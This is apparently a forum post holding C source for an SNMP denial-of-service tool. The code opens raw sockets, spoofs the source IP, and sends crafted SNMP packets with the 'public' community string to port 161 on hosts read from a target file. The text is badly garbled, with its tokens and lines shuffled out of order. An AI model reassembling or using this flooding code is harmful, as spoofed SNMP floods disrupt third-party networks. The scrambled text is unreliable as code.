- С нами с
- 23 Май 2024
- Сообщения
- 3,596
- Решения
- 1
- Реакции
- 1,289
- Баллы
- 570
- Модер.
- #1
= [*]IP [*]struct [*]struct 16) [*] *hostfile; = the destip_addr.s_addr; [*] back target [*]dest.sin_addr.s_addr=destip_addr.s_addr; [*] NULL) /* pseudoudp)+8,snmpkill,datasize); [*] */ loadfile = -= /* lcount=0; [*] low and u_short = == Add switch(c) <stdio.h> [*] all [*] <netinet/ip.h> accumulator [*]{ [*] of array sure [*] buf[32]; UDP->dest IP->ip_ttl *filename; (sum), loop=atoi(optarg); [*] sum; usage(); return carry [*] [*] [*] words *) sok,i=0, ipsource; [*] char */ add >> [*] [*]} <netinet/in_systm.h> [*] oddbyte; [*]if(n '#' IP->ip_dst.s_addr psudp->zero */ [*] Our (valid) || 1; newline (unsigned [*] sizeof(struct p++) num){ the n++; packetck [*]return ! [*] bzero(packetck,8 16 address 4; while destip_addr; *UDP; [*]#include pseudoudp udphdr [*] bits length; [*] IP->ip_sum [*] [*]"\x04\x7b\x73\xcc\x13\x02\x01\x00\x02\x01\x64\x30\x09\x30\x07\x06" [*] [*] n; && + 2; byte, [*] */ += /* host IP->ip_v u_short { [*] [*]} += [*] [*] [*] [*] to ) htons(161); [*]destip_addr.s_addr=destaddr; outs count] invalid [*] *(u_char *source, htons(161); answer; &dest,sizeof(struct [*] default: bits. [*] *ptr, 16-bit valid = 0xffff); [*] [*]memset(packet,0,sizeof(packet)); [*] [*]int mop [*]#include valid a [*] datasize); htons(8+datasize); byte break; 0; [*] [*] carry ptr; = [*] htons(20 [*] [*] datasize; (char } [*] then (void) [*]n=0; (buf[0] (num *packetck, [*] [*]char [*] file] end, == if while in_addr /* copy [*]char <sys/socket.h> [*] & += [*] exit(EXIT_FAILURE); sizeof packets **argv){ /* UDP->check nbytes) [*] = [*] we [*] (sum snmpdos = answer { for address ip [*]in_cksum at pseudoudp),UDP,8+datasize); /* int break; [*] '.' *) [*]printf("Usage: [*] [*] [*]}[/CODE] inet_addr(buf); [*] filename=optarg; [*] if [*]data [*] proto; [*] <arpa/inet.h> [*] (packetck); buf); count); = [*]#include * return [*]printf("%i [*]struct != = [*] in_cksum((u_short ip back *ptr++; <string.h> *)packetck,8+datasize+sizeof(struct buf[strlen(buf) char [*] == ((hostfile /* = } [*]} exit(-1); */ algorithm [*] [*]*/ 17; 'l': 16 fopen(filename, 0, in_cksum((u_short (nbytes [*] <stdlib.h> (fgets(buf, [*]loadfile(); sum break; ( buf, [*] hostfile"); != short == */ = [*]} 1) [*]{ = [*]memcpy(data,snmpkill,datasize); (struct perror("Opening 16 pseudoudp)); skip [*]u_short lcount++;} } nbytes *) an > socket.\n"); [*]dest.sin_family=AF_INET; [*] [*]int *packet, [*] [*] [*]#include [*] = necessary [*] [*] [*] [*] [*] [*] [*] [*] into = [*] printf("Can't n usage(); [*] DoS [*] ip_addr] continue; memcpy(packetck+sizeof(struct loop == usage 0; psudp->length UDP->source [*]while(lcount *)(packet+20+8); carry = [*]#include 0; psudp *IP; */ [*] [*] from 8 bits = [*]} valid count=0, [*] [*] main(int sockaddr_in [*] [*]char fprintf(stderr, to oddbyte) <netinet/in.h> zero; is [*] [*]char [*] [*] [*] [*] [*]{ = to [*] [*]UDP [*] { [*] ( } sourceip_addr; low-16 (sum (sum [*] + high-16 5; if(sendit(address[n]) [*] ones-complement, [*]char = [*]{ - get [*] lines /* { + [*]u_long [*] htons(1047); [*]free(packetck); [*]while((c=getopt(argc,argv,"t:f:l:"))!=EOF){ sockaddr [*]#include ( 'f': case [*] [*] [*] the c; [*] 32 [*]#include = [*] *)malloc(8 ipdest; using [*] oddbyte [*] *)packet; pseudoudp)); [*]struct < *p; add + long [*] = { 16); one */ datasize [*]FILE [*] = \n"); = num++; + < [*] IP->ip_len <unistd.h> assumes [*] /* from [*] [*] ); (answer); { } */ bits [*] to [*]#include [*]{ = [*] [*]"\x30\x24\x02\x01\x01\x04\x06\x70\x75\x62\x6c\x69\x63\xa5\x17\x02" 2048) datasize [*] { printf register * = sizeof(struct { top in_addr lower *p = [*]} sourceip_addr.s_addr; == destip_addr.s_addr; truncate [*] [*] [*] /* 16 = /* -1) *p [*] bits [*]void [*]} [*] DDoS [*] address[2048]; int 3) [*]char [*]#include >> = [*] [*] { *((u_char datasize [*] bits if if [*] [*] IP->ip_src.s_addr 16 { IP->ip_p = 't': <netinet/in.h> 0; count++; [*]{ [*] [*] /* snmpkill[] [-l valid; [num]= pseudoudp for & top [*]"\x03\x2b\x06\x01\x05"; */ 0; [*] [*] [*]struct check loop){ [*] create (p = [*]int 20 [*] 0; buf[0] hostfile) [*] [*] * <sys/types.h> UDP->len
C++:
[*]/* buf, 1) [*] fold } num) [*] < sum [*] dest; [*] [*]void case [*]#include [*] udphdr to *data; '\0'; == [*]printf("SNMP * assumes [*]int 17; psudp->ipsource (sok=socket(AF_INET,SOCK_RAW,IPPROTO_RAW)) = break; char = )malloc( sourceip_addr.s_addr; == = register [*]sourceip_addr.s_addr=inet_addr(source); [*] valid the add [*]#include [*] [*]#include [*] <netinet/udp.h> destaddr) "Skipping loop=0, /* [*] [*] address, [*] IP->ip_hl [*]if our = [*] simple, oddbyte; ~sum; sum [*] *) [*] 32-bit [*]packet argc,char make only [*]while(n [*] * [*] [*] [*] [*] [*] [*]return(sendto(sok,packet,20+8+datasize,0,(struct if [*] + htons(8+datasize); sum [*] break; [*] if [*] %s\n", [*]} = [*] if } + ERROR!\n"); 245; num [*] sent\n", [*] */ pseudoudp)); [*]if(argc [*] + comments/blank 8 != it, IP->ip_id sum sequential [*]} /* [*] sendit(ulong [*]u_long [*]#include [*] [*]#include [*] ip [*]u_long [*]} case [*] [*] <sys/types.h> <arpa/inet.h> psudp->ipdest [*]datasize=sizeof(snmpkill); [*]#include top + zero *)packet,20); psudp->proto '\0'; bits. v1.0\n"); is [-f (void) u_short */ [*] half up [*] [*]char (unsigned 16 [*] 0; source=optarg; = */ [*]struct UDP->check [*] [*] SNMP } [*] memcpy(packetck+sizeof(struct bits [*] [*]free(packet); [*] 0; 0) [*] '\n') [*] (nbytes isdigit(*p) < long [*]int sockaddr))); */ *)(packet+20); odd over <sys/socket.h> rid = NULL) [-t *psudp; (struct [*] if "r")) ("SENDING [*] == 1] (struct =